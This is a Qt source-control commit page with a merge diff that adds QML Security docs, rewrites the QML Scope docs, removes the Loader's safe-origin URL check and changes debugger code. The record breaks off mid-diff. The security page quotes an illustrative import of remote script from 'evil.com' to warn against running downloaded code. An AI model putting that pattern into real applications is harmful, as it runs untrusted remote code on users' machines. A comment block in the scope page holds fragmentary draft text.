summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorMartin Jones <martin.jones@nokia.com>2010-03-24 05:59:25 (GMT)
committerMartin Jones <martin.jones@nokia.com>2010-03-24 05:59:25 (GMT)
commit20fa8670c14c5a34a36c41ce43ef98ae1610fafb (patch)
treef9b4bd8d8aa35fb2cf537463c8f6db6475ac67a0
parent1e03f391889d90a25847add3a42b1debda4f3edb (diff)
parentd873e2c8a3c17c6404e0378340b25bdb615f12c6 (diff)
downloadQt-20fa8670c14c5a34a36c41ce43ef98ae1610fafb.zip
Qt-20fa8670c14c5a34a36c41ce43ef98ae1610fafb.tar.gz
Qt-20fa8670c14c5a34a36c41ce43ef98ae1610fafb.tar.bz2
Merge branch '4.7' of scm.dev.nokia.troll.no:qt/qt-qml into 4.7
-rw-r--r--doc/src/declarative/declarativeui.qdoc1
-rw-r--r--doc/src/declarative/qdeclarativesecurity.qdoc90
-rw-r--r--doc/src/declarative/scope.qdoc452
-rw-r--r--examples/declarative/webview/evalandattach.html31
-rw-r--r--examples/declarative/webview/evalandattach.qml55
-rw-r--r--examples/declarative/webview/qdeclarative-in-html.qml33
-rw-r--r--src/declarative/debugger/qdeclarativedebug.cpp14
-rw-r--r--src/declarative/debugger/qdeclarativedebug_p.h2
-rw-r--r--src/declarative/graphicsitems/qdeclarativeflipable.cpp2
-rw-r--r--src/declarative/graphicsitems/qdeclarativeloader.cpp13
-rw-r--r--src/declarative/qml/qdeclarativecontext.cpp31
-rw-r--r--src/declarative/qml/qdeclarativecontext.h2
-rw-r--r--src/declarative/qml/qdeclarativecontext_p.h2
-rw-r--r--src/declarative/qml/qdeclarativeenginedebug.cpp15
-rw-r--r--src/declarative/qml/qdeclarativeenginedebug_p.h1
-rw-r--r--src/declarative/qml/qdeclarativeintegercache.cpp10
-rw-r--r--src/declarative/qml/qdeclarativeintegercache_p.h1
-rw-r--r--src/declarative/util/qdeclarativeanimation.cpp2
-rw-r--r--src/declarative/util/qdeclarativexmllistmodel.cpp190
-rw-r--r--src/declarative/util/qdeclarativexmllistmodel_p.h15
-rw-r--r--src/imports/webkit/qdeclarativewebview.cpp87
-rw-r--r--src/imports/webkit/qdeclarativewebview_p.h1
-rw-r--r--tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp15
-rw-r--r--tests/auto/declarative/qdeclarativeloader/data/VmeError.qml7
-rw-r--r--tests/auto/declarative/qdeclarativeloader/data/nonItem.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeloader/data/vmeErrors.qml6
-rw-r--r--tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp44
-rw-r--r--tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp66
-rw-r--r--tests/benchmarks/declarative/qdeclarativetime/tests/animation/large.qml41
-rw-r--r--tests/benchmarks/declarative/qdeclarativetime/tests/animation/largeNoProps.qml41
-rw-r--r--tests/benchmarks/declarative/qdeclarativetime/tests/loader/Loaded.qml7
-rw-r--r--tests/benchmarks/declarative/qdeclarativetime/tests/loader/component_loader.qml16
-rw-r--r--tests/benchmarks/declarative/qdeclarativetime/tests/loader/empty_loader.qml15
-rw-r--r--tests/benchmarks/declarative/qdeclarativetime/tests/loader/no_loader.qml14
-rw-r--r--tests/benchmarks/declarative/qdeclarativetime/tests/loader/source_loader.qml16
35 files changed, 744 insertions, 599 deletions
diff --git a/doc/src/declarative/declarativeui.qdoc b/doc/src/declarative/declarativeui.qdoc
index ca4c5da..cc61c01 100644
--- a/doc/src/declarative/declarativeui.qdoc
+++ b/doc/src/declarative/declarativeui.qdoc
@@ -102,6 +102,7 @@ completely new applications. QML is fully \l {Extending QML in C++}{extensible
\o \l {QML Global Object}
\o \l {Extending QML in C++}
\o \l {QML Internationalization}
+\o \l {QML Security}
\o \l {QtDeclarative Module}
\o \l {Debugging QML}
\endlist
diff --git a/doc/src/declarative/qdeclarativesecurity.qdoc b/doc/src/declarative/qdeclarativesecurity.qdoc
new file mode 100644
index 0000000..56216dd
--- /dev/null
+++ b/doc/src/declarative/qdeclarativesecurity.qdoc
@@ -0,0 +1,90 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativesecurity.html
+\title QML Security
+\section1 QML Security
+
+The QML security model is that QML content is a chain of trusted content: the user
+installs QML content that they trust in the same way as they install native Qt applications,
+or programs written with runtimes such as Python and Perl. That trust is establish by any
+of a number of mechanisms, including the availability of package signing on some platforms.
+
+In order to preserve the trust of users, developers producing QML content should not execute
+arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elements.
+
+For example, this QML content:
+
+\qml
+import "http://evil.com/evil.js" as Evil
+... Evil.doEvil() ...
+\endqml
+
+is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution
+environment of QML does not try to stop any particular accesses, including local file system
+access, just as for any native Qt application, so the "doEvil" function could do the same things
+as a native Qt application, a Python application, a Perl script, ec.
+
+As with any application accessing other content beyond it's control, a QML application should
+perform appropriate checks on untrusted data it loads.
+
+A non-exhaustive list of the ways you could shoot yourself in the foot is:
+
+\list
+ \i Using \c import to import QML or JavaScropt you do not control. BAD
+ \i Using \l Loader to import QML you do not control. BAD
+ \i Using XMLHttpRequest to load data you do not control and executing it. BAD
+\endlist
+
+However, the above does not mean that you have no use for the network transparency of QML.
+There are many good and useful things you \e can do:
+
+\list
+ \i Create \l Image elements with source URLs of any online images. GOOD
+ \i Use XmlListModel to present online content. GOOD
+ \i Use XMLHttpRequest to interact with online services. GOOD
+\endlist
+
+The only reason this page is necessary at all is that JavaScript, when run in a \e{web browser},
+has quite many restrictions. With QML, you should neither rely on similar restrictions, nor
+worry about working around them.
+*/
diff --git a/doc/src/declarative/scope.qdoc b/doc/src/declarative/scope.qdoc
index 8ec784f..c588b45 100644
--- a/doc/src/declarative/scope.qdoc
+++ b/doc/src/declarative/scope.qdoc
@@ -39,344 +39,304 @@
**
****************************************************************************/
-/*!
-\page qdeclarativescope.html
-\title QML Scope
+/*
+
+
+
+and requires extension to
+fit naturally with QML.
-\tableofcontents
-NOTE: This documentation is out of data.
+JavaScript has only b
+JavaScript has a very simple built in scope is very simple
-\l {Property Binding}s and \l {Integrating JavaScript}{JavaScript} are executed in a scope chain
+script, and the precede d
+
+and \l {Integrating JavaScript}{JavaScript} are executed in a scope chain
automatically established by QML when a component instance is constructed. QML is a \e {dynamically scoped}
language. Different object instances instantiated from the same component can exist in
different scope chains.
\image qml-scope.png
-\section1 JavaScript Variable object
-Each binding and script block has its own distinct JavaScript variable object where local
-variables are stored. That is, local variables from different bindings and script blocks never
-conflict.
+*/
-\section1 Element Type Names
+/*!
+\page qdeclarativescope.html
+\title QML Scope
-Bindings or script blocks use element type names when accessing \l {Attached Properties} or
-enumeration values. The set of available element names is defined by the import list of the
-\l {QML Documents}{QML Document} in which the the binding or script block is defined.
+\tableofcontents
-These two examples show how to access attached properties and enumeration values with different
-types of import statements.
-\table
-\row
-\o
-\code
-import Qt 4.6
+QML property bindings, inline functions and imported JavaScript files all
+run in a JavaScript scope. Scope controls which variables an expression can
+access, and which variable takes precedence when two or more names conflict.
-Text {
- id: root
- scale: root.PathView.scale
- horizontalAlignment: Text.AlignLeft
-}
-\endcode
-\o
-\code
-import Qt 4.6 as MyQt
+As JavaScript's built-in scope mechanism is very simple, QML enhances it to fit
+more naturally with the QML language extensions.
-Text {
- id: root
- scale: root.MyQt.PathView.scale
- horizontalAlignment: MyQt.Text.AlignLeft
-}
-\endcode
-\endtable
+\section1 JavaScript Scope
-\section1 QML Local Scope
+QML's scope extensions do not interfere with JavaScript's natural scoping.
+JavaScript programmers can reuse their existing knowledge when programming
+functions, property bindings or imported JavaScript files in QML.
-Most variables references are resolved in the local scope. The local scope is controlled by the
-QML component in which the binding or script block was defined. The following example shows
-three different bindings, and the component that dictates each local scope.
+In the following example, the \c {addConstant()} method will add 13 to the
+parameter passed just as the programmer would expect irrespective of the
+value of the QML object's \c a and \c b properties.
-\table
-\row
-\o
\code
-// main.qml
-import Qt 4.6
+QtObject {
+ property int a: 3
+ property int b: 9
-Rectangle { // Local scope component for binding 1
- id: root
- property string text
-
- Button {
- text: root.text // binding 1
+ function addConstant(b) {
+ var a = 13;
+ return b + a;
}
-
- ListView {
- delegate: Component { // Local scope component for binding 2
- Rectangle {
- width: ListView.view.width // binding 2
- }
- }
- }
-
}
\endcode
-\o
-\code
-// Button.qml
-import Qt 4.6
-Rectangle { // Local scope component for binding 3
- id: root
- property string text
+That QML respects JavaScript's normal scoping rules even applies in bindings.
+This totally evil, abomination of a binding will assign 12 to the QML object's
+\c a property.
- Text {
- text: root.text // binding 3
- }
+\code
+QtObject {
+ property int a
+
+ a: { var a = 12; a; }
}
\endcode
-\endtable
-Inside the local scope, four "sub-scopes" exist. Each sub-scope is searched in order when
-resolving a name; names in higher sub-scopes shadow those in lower sub-scopes.
+Every JavaScript expression, function or file in QML has its own unique
+variable object. Local variables declared in one will never conflict
+with local variables declared in another.
-\section2 IDs
+\section1 Element Names and Imported JavaScript Files
-IDs present in the component take precendence over other names. The QML engine enforces
-uniqueness of IDs within a component, so their names cannot conflict with one another.
+\l {QML Document}s include import statements that define the element names
+and JavaScript files visible to the document. In addition to their use in the
+QML declaration itself, element names are used by JavaScript code when accessing
+\l {Attached Properties} and enumeration values.
-Here is an example of using IDs within bindings:
+The effect of an import applies to every property binding, and JavaScript
+function in the QML document, even those in nested inline components. The
+following example shows a simple QML file that accesses some enumeration
+values and calls an imported JavaScript function.
\code
-Item {
- id: root
- width: nested.width
- Item {
- id: nested
- height: root.height
- }
-}
-\endcode
-
-\section2 Script Methods
-
-Methods declared in script blocks are searched immediately after IDs. In the case of multiple
-script blocks in the one component, the blocks are searched in the order in which they were
-declared - the nesting of script blocks within a component is not significant for name
-resolution.
-
-In the following example, \c {Method 1} shadows \c {Method 2} for the bindings, but not for
-\c {Method 3}.
+import Qt 4.6
+import "code.js" as Code
-\code
-Item {
- Script {
- function getValue() { return 10; } // Method 1
- }
+ListView {
+ snapMode: ListView.SnapToItem
- Rectangle {
- Script {
- function getValue() { return 11; } // Method 2
- function getValue2() { return getValue(); } // Method 3
+ delegate: Component {
+ Text {
+ elide: Text.ElideMiddle
+ text: "A really, really long string that will require eliding."
+ color: Code.defaultColor()
}
-
- x: getValue() // Resolves to Method 1, set to 10
- y: getValue2() // Resolves to Method 3, set to 11
}
}
\endcode
-\section2 Scope Object
-
-A scope object is associated with each binding and script block. Properties and methods of the
-scope object appear in the scope chain, immediately after \l {Script Methods}.
+\section1 Binding Scope Object
-In bindings and script blocks established explicitly in \l {QML Documents}, the scope object is
-always the element containing the binding or script block. The following example shows two
-bindings, one using grouped properties, and the corresponding scope object. These two bindings
-use the scope object to resolve variable references: \c height is a property on \l Rectangle,
-and \c parent is a property on \l Text.
+Property bindings are the most common use of JavaScript in QML. Property
+bindings associate the result of a JavaScript expression with a property of an
+object. The object to which the bound property belongs is known as the binding's
+scope object. In this QML simple declaration the \l Item object is the
+binding's scope object.
\code
-Item { // Scope object for Script block 1
- Script { // Script block 1
- function calculateValue() { ... }
- }
-
- Rectangle { // Scope object for Binding 1 and Script block 2
- Script { // Script block 2
- function calculateColor() { ... }
- }
- width: height * 2 // Binding 1
- }
-
- Text { // Scope object for Binding 2
- font.pixelSize: parent.height * 0.7 // binding 2
- }
+Item {
+ anchors.left: parent.left
}
\endcode
-One notable characteristic of the scope object is its interaction with \l {Attached Properties}.
-As attached properties exist on all objects, an attached property reference that is not
-explicitly prefixed by an id will \e always resolve to the attached property on the scope
-object.
-
-In the following example, \c {Binding 1} will resolve to the attached properties of the
-\l Rectangle element, as intended. However, due to the property search of the scope object,
-\c {Binding 2} will resolve to the attached properties of the \l Text element, which
-is probably not what was intended. This code can be corrected, by replacing \c {Binding 2}
-with this explicit element reference \c {root.ListView.view.width}.
+Bindings have access to the scope object's properties without qualification.
+In the previous example, the binding accesses the \l Item's \c parent property
+directly, without needing any form of object prefix. QML introduces a more
+structured, object-oriented approach to JavaScript, and consequently does not
+require (although it does support) use of the implicit \c this property.
+
+Care must be used when accessing \l {Attached Properties} from bindings due
+to their interaction with the scope object. Conceptually attached properties
+exist on \e all objects, even if they only have an effect on a subset of those.
+Consequently unqualified attached property reads will always resolve to an
+attached property on the scope object, which is not always what the programmer
+intended.
+
+For example, the \l PathView element attaches interpolated value properties to
+its delegates depending on their position in the path. As PathView only
+meaningfully attaches these properties to the root element in the delegate, any
+sub-element that accesses them must explicitly qualify the root object, as shown
+below.
\code
-import Qt 4.6
-
-ListView {
- delegate: Rectangle {
- id: root
- width: ListView.view.width // Binding 1
- Text {
- text: contactName
- width: ListView.view.width // Binding 2
+PathView {
+ delegate: Component {
+ Rectangle {
+ id: root
+ Image {
+ scale: root.PathView.scale
+ }
}
}
}
\endcode
-\e TODO
-
-\list
-\o scope object for PropertyChanges
-\endlist
-
-\section2 Root Object
+If the \l Image element omitted the \c root prefix, it would inadvertantly access
+the unset \c {PathView.scale} attached property on itself.
-Properties and methods on the local scope component's root object appear in the scope chain
-immediately after the \l {Scope Object}. If the scope object and root object are the same,
-this step has no effect.
+\section1 Component Scope
-This example uses the root object to easily propagate data throughout the component.
+Each QML component in a QML document defines a logical scope. Each document
+has at least one root component, but can also have other inline sub-components.
+The component scope is the union of the object ids within the component and the
+component's root element's properties.
\code
Item {
- property string description
- property int fontSize
+ property string title
Text {
- text: description
- font.pixelSize: fontSize
+ id: titleElement
+ text: "<b>" + title + "</b>"
+ font.pixelSize: 22
+ anchors.top: parent.top
+ }
+
+ Text {
+ text: titleElement.text
+ font.pixelSize: 18
+ anchors.bottom: parent.bottom
}
}
\endcode
-\section1 QML Component chain
-
-When a QML component is instantiated it is given a parent component instance. The parent
-component instance is immutable - it is not affected, for example, by changes in the instance's
-visual parent (in the case of visual elements). Should name resolution fail within the
-\l {QML Local Scope}, this parent chain is searched.
+The example above shows a simple QML component that displays a rich text title
+string at the top, and a smaller copy of the same text at the bottom. The first
+\c Text element directly accesses the component's \c title property when
+forming the text to display. That the root element's properties are directly
+accessible makes it trivial to distribute data throughout the component.
-For each component instance in the chain, the following are examined:
+The second \c Text element uses an id to access the first's text directly. IDs
+are specified explicitly by the QML programmer so they always take precedence
+over other property names (except for those in the \l {JavaScript Scope}). For
+example, in the unlikely event that the binding's \l {Binding Scope Object}{scope
+object} had a \c titleElement property in the previous example, the \c titleElement
+id would still take precedence.
-\list 1
-\o IDs
-\o Script Methods
-\o Root Object
-\endlist
+\section1 Component Instance Hierarchy
-This list is a sub-set of that in the \l {QML Local Scope}.
+In QML, component instances connect their component scopes together to form a
+scope hierarchy. Component instances can directly access the component scopes of
+their ancestors.
-A sub-component's parent component instance is set to the component that created it.
-In the following example, the two \c Button instances have the
-\c main.qml instance as their parent component instance. If the \c Button type was used from
-within another QML file, it may have a difference parent component instance, and consequently
-the \c buttonClicked() method may resolve differently.
+The easiest way to demonstrate this is with inline sub-components whose component
+scopes are implicitly scoped as children of the outer component.
-\table
-\row
-\o
\code
-// main.qml
Item {
- function buttonClicked(var data) {
- print(data + " clicked");
- }
+ property color defaultColor: "blue"
- Button { text: "Button1" }
- Button { text: "Button2" }
-}
-\endcode
-\o
-\code
-// Button.qml
-Rectangle {
- id: root
- property string text
- width: 80
- height: 30
- Text {
- anchors.centerIn: parent
- text: root.text
- }
- MouseArea {
- anchors.fill: parent
- onClicked: buttonClicked(text)
+ ListView {
+ delegate: Component {
+ Rectangle {
+ color: defaultColor
+ }
+ }
}
}
\endcode
-\endtable
-The code above discourages the re-use of the \c Button component, as it has a hard dependency
-on the environment in which it is used. Tightly coupling two types together like this should
-only be used when the components are within the same module, and the author controls the
-implementations of both.
+The component instance hierarchy allows instances of the delegate component
+to access the \c defaultColor property of the \c Item element. Of course,
+had the delegate component had a property called \c defaultColor that would
+have taken precedence.
-In the following example, the \l ListView sets the parent component instance of each of its
-delegates to its own component instance. In this way, the main component can easily pass data
-into the \l ListView delegates.
+The component instance scope hierarchy extends to out-of-line components, too.
+In the following example, the \c TitlePage.qml component creates two
+\c TitleText instances. Even though the \c TitleText element is in a separate
+file, it still has access to the \c title property when it is used from within
+the \c TitlePage. QML is a dynamically scoped language - depending on where it
+is used, the \c title property may resolve differently.
\code
+// TitlePage.qml
+import Qt 4.6
Item {
- property color delegateColor: "red"
+ property string title
+
+ TitleText {
+ size: 22
+ anchors.top: parent.top
+ }
- ListView {
- delegate: Component {
- Rectangle {
- color: delegateColor
- }
- }
+ TitleText {
+ size: 18
+ anchors.bottom: parent.bottom
}
}
-\endcode
-\section1 QDeclarativeContext chain
-
-The \l QDeclarativeContext chain allows C++ applications to pass data into QML applications.
-\l QDeclarativeComponent object instances created from C++ are passed a \l QDeclarativeContext in which they
-are created. Variables defined in this context appear in the scope chain. Each QDeclarativeContext
-also defines a parent context. Variables in child QDeclarativeContext's shadow those in its parent.
+// TitleText.qml
+import Qt 4.6
+Text {
+ property int size
+ text: "<b>" + title + "</b>"
+ font.pixelSize: size
+}
+\endcode
-Consider the following QDeclarativeContext tree.
+Dynamic scoping is very powerful, but it must be used cautiously to prevent
+the behavior of QML code from becoming difficult to predict. In general it
+should only be used in cases where the two components are already tightly
+coupled in another way. When building reusable components, it is preferable
+to use property interfaces, like this:
-\image qml-context-tree.png
+\code
+// TitlePage.qml
+import Qt 4.6
+Item {
+ id: root
+ property string title
+
+ TitleText {
+ title: root.title
+ size: 22
+ anchors.top: parent.top
+ }
-The value of \c background in \c {Context 1} would be used if it was instantiated in
-\c {Context 1}, where as the value of the \c background in the root context would be used if
-the component instance was instantiated in \c {Context 2}.
+ TitleText {
+ title: root.title
+ size: 18
+ anchors.bottom: parent.bottom
+ }
+}
-\code
+// TitleText.qml
import Qt 4.6
+Text {
+ property string title
+ property int size
-Rectangle {
- id: myRect
- width: 100; height: 100
- color: background
+ text: "<b>" + title + "</b>"
+ font.pixelSize: size
}
\endcode
-\section1 QML Global Object
+\section1 JavaScript Global Object
+
+In addition to all the properties that a developer would normally expect on
+the JavaScript global object, QML adds some custom extensions to make UI or
+QML specific tasks a little easier. These extensions are described in the
+\l {QML Global Object} documentation.
+
+QML disallows element, id and property names that conflict with the properties
+on the global object to prevent any confusion. Programmers can be confident
+that \c Math.min(10, 9) will always work as expected!
-The \l {QML Global Object} contains all the properties of the JavaScript global object, plus some
-QML specific extensions.
*/
diff --git a/examples/declarative/webview/evalandattach.html b/examples/declarative/webview/evalandattach.html
deleted file mode 100644
index 48a1c33..0000000
--- a/examples/declarative/webview/evalandattach.html
+++ /dev/null
@@ -1,31 +0,0 @@
-<body bgcolor=gray onload="ftext.confirmed.connect (ftext_confirmed); ">
- <script>
- do_it = function () {var oPressed = document.getElementById('pressed');
- oPressed.innerHTML = 'MouseArea in QML clicked!';};
- ftext_confirmed = function () { statusText1.text = ftext.text; var oT = document.getElementById('htmlTextInput'); oT.value = ftext.text }
- </script>
- <table border=1>
- <tr>
- <td>&nbsp</td>
- <td id='pressed'></td>
- </tr>
- <tr>
- <td><label for='htmlTextInput'>Type something:</label></td>
- <td><input type='text' name='htmlTextInput' size='25' id='htmlTextInput'
- onfocus="statusText2.text = 'Focus in html text input.'"></td>
- </tr>
- <tr>
- <td><label for='htmlButton'>&nbsp;</label></td>
- <td>
- <input type='button' id='htmlButton' value='Push'
- onclick="var oText = document.getElementById('htmlTextInput'); statusText1.text = oText.value; ftext.text = oText.value" />
- </tr>
- </table>
- <p>
- Below a qml(QFxItem) object inside webkit:
- </p>
- <object data=content/FieldText.qml TYPE=application/x-qt-plugin id="ftext_id" text="" label="Cool:" width="200"
- objectname="ftext">
- </object>
-</body>
-
diff --git a/examples/declarative/webview/evalandattach.qml b/examples/declarative/webview/evalandattach.qml
deleted file mode 100644
index d219d84..0000000
--- a/examples/declarative/webview/evalandattach.qml
+++ /dev/null
@@ -1,55 +0,0 @@
-import Qt 4.6
-import org.webkit 1.0
-
-Item {
- height: 640
- width: 360
- Text {
- id: teksti
- text: webView.statusText1
- anchors.top: parent.top
- height: 30
- anchors.left: parent.left
- width: parent.width/2
- }
-
- Text {
- id: teksti2
- text: webView.statusText2
- anchors.top: parent.top
- height: 30
- anchors.left: teksti.right
- anchors.right: parent.right
- }
-
- MouseArea {
- anchors.fill: teksti
- onClicked: { webView.evaluateJavaScript ("do_it()") }
- }
-
- WebView {
- id: webView
- property alias statusText1: txt.text
- property alias statusText2: txt2.text
- anchors.top: teksti.bottom
- anchors.bottom: parent.bottom
- anchors.left: parent.left
- anchors.right: parent.right
- focus: true
- settings.pluginsEnabled: true
- javaScriptWindowObjects: [
- QtObject {
- id: txt
- WebView.windowObjectName: "statusText1"
- property string text: "Click me!"
- },
- QtObject {
- id: txt2
- WebView.windowObjectName: "statusText2"
- property string text: ""
- }
- ]
- url: "evalandattach.html"
- }
-
-}
diff --git a/examples/declarative/webview/qdeclarative-in-html.qml b/examples/declarative/webview/qdeclarative-in-html.qml
deleted file mode 100644
index 172ea4b..0000000
--- a/examples/declarative/webview/qdeclarative-in-html.qml
+++ /dev/null
@@ -1,33 +0,0 @@
-import Qt 4.6
-import org.webkit 1.0
-
-// The WebView supports QML data through the HTML OBJECT tag
-Rectangle {
- color:"blue"
- Flickable {
- width: parent.width
- height: parent.height/2
- contentWidth: web.width*web.scale
- contentHeight: web.height*web.scale
- WebView {
- id: web
- width: 250
- height: 420
- zoomFactor: 0.75
- smoothCache: true
- settings.pluginsEnabled: true
- html: "<html>\
- <body bgcolor=white>\
- These are QML plugins, shown in a QML WebView via HTML OBJECT tags, all scaled to 75%\
- and placed in a Flickable area...\
- <table border=1>\
- <tr><th>Duration <th>Color <th>Plugin\
- <tr><td>500 <td>red <td><OBJECT data=content/SpinSquare.qml TYPE=application/x-qt-plugin width=100 height=100 period=500 color=red />\
- <tr><td>2000 <td>blue <td><OBJECT data=content/SpinSquare.qml TYPE=application/x-qt-plugin width=100 height=100 period=2000 color=blue />\
- <tr><td>1000 <td>green <td><OBJECT data=content/SpinSquare.qml TYPE=application/x-qt-plugin width=100 height=100 period=1000 color=green />\
- </table>\
- </body>\
- </html>"
- }
- }
-}
diff --git a/src/declarative/debugger/qdeclarativedebug.cpp b/src/declarative/debugger/qdeclarativedebug.cpp
index e4b7d4d..677d05f 100644
--- a/src/declarative/debugger/qdeclarativedebug.cpp
+++ b/src/declarative/debugger/qdeclarativedebug.cpp
@@ -151,6 +151,7 @@ void QDeclarativeEngineDebugPrivate::decode(QDataStream &ds, QDeclarativeDebugOb
ds >> data;
o.m_debugId = data.objectId;
o.m_class = data.objectType;
+ o.m_idString = data.idString;
o.m_name = data.objectName;
o.m_source.m_url = data.url;
o.m_source.m_lineNumber = data.lineNumber;
@@ -750,8 +751,8 @@ QDeclarativeDebugObjectReference::QDeclarativeDebugObjectReference(int debugId)
}
QDeclarativeDebugObjectReference::QDeclarativeDebugObjectReference(const QDeclarativeDebugObjectReference &o)
-: m_debugId(o.m_debugId), m_class(o.m_class), m_name(o.m_name),
- m_source(o.m_source), m_contextDebugId(o.m_contextDebugId),
+: m_debugId(o.m_debugId), m_class(o.m_class), m_idString(o.m_idString),
+ m_name(o.m_name), m_source(o.m_source), m_contextDebugId(o.m_contextDebugId),
m_properties(o.m_properties), m_children(o.m_children)
{
}
@@ -759,8 +760,8 @@ QDeclarativeDebugObjectReference::QDeclarativeDebugObjectReference(const QDeclar
QDeclarativeDebugObjectReference &
QDeclarativeDebugObjectReference::operator=(const QDeclarativeDebugObjectReference &o)
{
- m_debugId = o.m_debugId; m_class = o.m_class; m_name = o.m_name;
- m_source = o.m_source; m_contextDebugId = o.m_contextDebugId;
+ m_debugId = o.m_debugId; m_class = o.m_class; m_idString = o.m_idString;
+ m_name = o.m_name; m_source = o.m_source; m_contextDebugId = o.m_contextDebugId;
m_properties = o.m_properties; m_children = o.m_children;
return *this;
}
@@ -775,6 +776,11 @@ QString QDeclarativeDebugObjectReference::className() const
return m_class;
}
+QString QDeclarativeDebugObjectReference::idString() const
+{
+ return m_idString;
+}
+
QString QDeclarativeDebugObjectReference::name() const
{
return m_name;
diff --git a/src/declarative/debugger/qdeclarativedebug_p.h b/src/declarative/debugger/qdeclarativedebug_p.h
index f0c7a77..4ead232 100644
--- a/src/declarative/debugger/qdeclarativedebug_p.h
+++ b/src/declarative/debugger/qdeclarativedebug_p.h
@@ -230,6 +230,7 @@ public:
int debugId() const;
QString className() const;
+ QString idString() const;
QString name() const;
QDeclarativeDebugFileReference source() const;
@@ -242,6 +243,7 @@ private:
friend class QDeclarativeEngineDebugPrivate;
int m_debugId;
QString m_class;
+ QString m_idString;
QString m_name;
QDeclarativeDebugFileReference m_source;
int m_contextDebugId;
diff --git a/src/declarative/graphicsitems/qdeclarativeflipable.cpp b/src/declarative/graphicsitems/qdeclarativeflipable.cpp
index 8b46039..0e2ae63 100644
--- a/src/declarative/graphicsitems/qdeclarativeflipable.cpp
+++ b/src/declarative/graphicsitems/qdeclarativeflipable.cpp
@@ -160,7 +160,7 @@ QDeclarativeFlipable::Side QDeclarativeFlipable::side() const
{
Q_D(const QDeclarativeFlipable);
if (d->dirtySceneTransform)
- const_cast<QDeclarativeFlipablePrivate *>(d)->updateSceneTransformFromParent();
+ const_cast<QDeclarativeFlipablePrivate *>(d)->ensureSceneTransform();
return d->current;
}
diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp
index 3cbafd6..0d62afa 100644
--- a/src/declarative/graphicsitems/qdeclarativeloader.cpp
+++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp
@@ -41,7 +41,9 @@
#include "qdeclarativeloader_p_p.h"
+#include <qdeclarativeinfo.h>
#include <qdeclarativeengine_p.h>
+#include <qdeclarativeglobal_p.h>
QT_BEGIN_NAMESPACE
@@ -185,9 +187,6 @@ void QDeclarativeLoader::setSource(const QUrl &url)
if (d->source == url)
return;
- if (!qmlContext(this)->isSafeOrigin(url))
- return;
-
d->clear();
d->source = url;
@@ -299,9 +298,9 @@ void QDeclarativeLoaderPrivate::_q_sourceLoaded()
return;
}
if (obj) {
- ctxt->setParent(obj);
item = qobject_cast<QGraphicsObject *>(obj);
if (item) {
+ QDeclarative_setParent_noEvent(ctxt, obj);
if (QDeclarativeItem* qmlItem = qobject_cast<QDeclarativeItem *>(item)) {
qmlItem->setParentItem(q);
} else {
@@ -310,8 +309,14 @@ void QDeclarativeLoaderPrivate::_q_sourceLoaded()
}
// item->setFocus(true);
initResize();
+ } else {
+ qmlInfo(q) << QDeclarativeLoader::tr("Loader does not support loading non-visual elements.");
+ delete obj;
+ delete ctxt;
}
} else {
+ if (!component->errors().isEmpty())
+ qWarning() << component->errors();
delete obj;
delete ctxt;
source = QUrl();
diff --git a/src/declarative/qml/qdeclarativecontext.cpp b/src/declarative/qml/qdeclarativecontext.cpp
index ab3849a..2b8cf70 100644
--- a/src/declarative/qml/qdeclarativecontext.cpp
+++ b/src/declarative/qml/qdeclarativecontext.cpp
@@ -361,22 +361,6 @@ QVariant QDeclarativeContext::contextProperty(const QString &name) const
return value;
}
-bool QDeclarativeContext::isSafeOrigin(const QUrl &src) const
-{
- if (src.isRelative())
- return true;
- if (src.scheme()==QLatin1String("https"))
- return true;
-
- QUrl base = baseUrl();
- if (src.host() == base.host() && src.port() == base.port()) // including files (with no host)
- return true;
-
- qWarning() << src << "is not a safe origin from" << base;
-
- return false;
-}
-
/*!
Resolves the URL \a src relative to the URL of the
containing component.
@@ -740,6 +724,21 @@ void QDeclarativeContextData::setIdPropertyData(QDeclarativeIntegerCache *data)
idValues = new ContextGuard[idValueCount];
}
+QString QDeclarativeContextData::findObjectId(const QObject *obj) const
+{
+ if (!idValues || !propertyNames)
+ return QString();
+
+ for (int i=0; i<idValueCount; i++) {
+ if (idValues[i] == obj)
+ return propertyNames->findId(i);
+ }
+
+ if (linkedContext)
+ return linkedContext->findObjectId(obj);
+ return QString();
+}
+
QDeclarativeContext *QDeclarativeContextData::asQDeclarativeContext()
{
if (!publicContext)
diff --git a/src/declarative/qml/qdeclarativecontext.h b/src/declarative/qml/qdeclarativecontext.h
index 959af8b..a349628 100644
--- a/src/declarative/qml/qdeclarativecontext.h
+++ b/src/declarative/qml/qdeclarativecontext.h
@@ -85,8 +85,6 @@ public:
void setBaseUrl(const QUrl &);
QUrl baseUrl() const;
- bool isSafeOrigin(const QUrl &src) const;
-
private:
friend class QDeclarativeVME;
friend class QDeclarativeEngine;
diff --git a/src/declarative/qml/qdeclarativecontext_p.h b/src/declarative/qml/qdeclarativecontext_p.h
index f07045e..e5f18b3 100644
